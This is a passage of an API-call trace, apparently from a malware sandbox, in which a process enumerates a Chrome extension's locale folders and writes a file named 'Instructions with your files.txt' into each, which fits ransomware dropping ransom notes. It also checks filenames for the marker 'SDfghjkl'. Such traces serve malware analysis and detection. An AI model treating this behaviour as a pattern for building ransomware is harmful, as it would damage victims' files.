[0129.917] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826df830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826e1f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.917] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 162
[0129.917] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.917] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826df830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826e1f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.917] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\Instructions with your files.txt") returned 181
[0129.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.917] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.918] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.918] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.918] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.918] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.919] CloseHandle (hObject=0x134) returned 1
[0129.919] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.919] GetProcessHeap () returned 0x810000
[0129.919] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.919] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826ebb80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0129.919] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es") returned 145
[0129.919] GetProcessHeap () returned 0x810000
[0129.919] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.919] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*") returned 147
[0129.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826ebb80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.919] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\.") returned 147
[0129.919] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826ebb80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.919] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\..") returned 148
[0129.919] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826ebb80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.919] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 159
[0129.919] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.919] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826ebb80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.919] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\Instructions with your files.txt") returned 178
[0129.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.920] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.921] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.921] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.921] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.921] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.921] CloseHandle (hObject=0x134) returned 1
[0129.921] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.921] GetProcessHeap () returned 0x810000
[0129.921] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.921] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826f7ed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
[0129.921] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419") returned 149
[0129.921] GetProcessHeap () returned 0x810000
[0129.921] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.921] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*") returned 151
[0129.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826f7ed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.922] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\.") returned 151
[0129.922] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826f7ed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.922] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\..") returned 152
[0129.922] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826f7ed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.922] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 163
[0129.922] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.922] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826f7ed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.922] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\Instructions with your files.txt") returned 182
[0129.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.923] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.924] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.924] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.924] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.924] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.924] CloseHandle (hObject=0x134) returned 1
[0129.924] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.924] GetProcessHeap () returned 0x810000
[0129.924] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.924] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82701b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82701b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0129.924] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et") returned 145
[0129.924] GetProcessHeap () returned 0x810000
[0129.924] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.924] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*") returned 147
[0129.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82701b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82701b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.925] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\.") returned 147
[0129.925] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82701b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82701b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.925] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\..") returned 148
[0129.925] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82701b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82704220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.925] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 159
[0129.925] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.925] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82701b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82704220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.925] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\Instructions with your files.txt") returned 178
[0129.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.925] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.927] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.927] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.927] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.927] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.927] CloseHandle (hObject=0x134) returned 1
[0129.927] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.927] GetProcessHeap () returned 0x810000
[0129.927] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
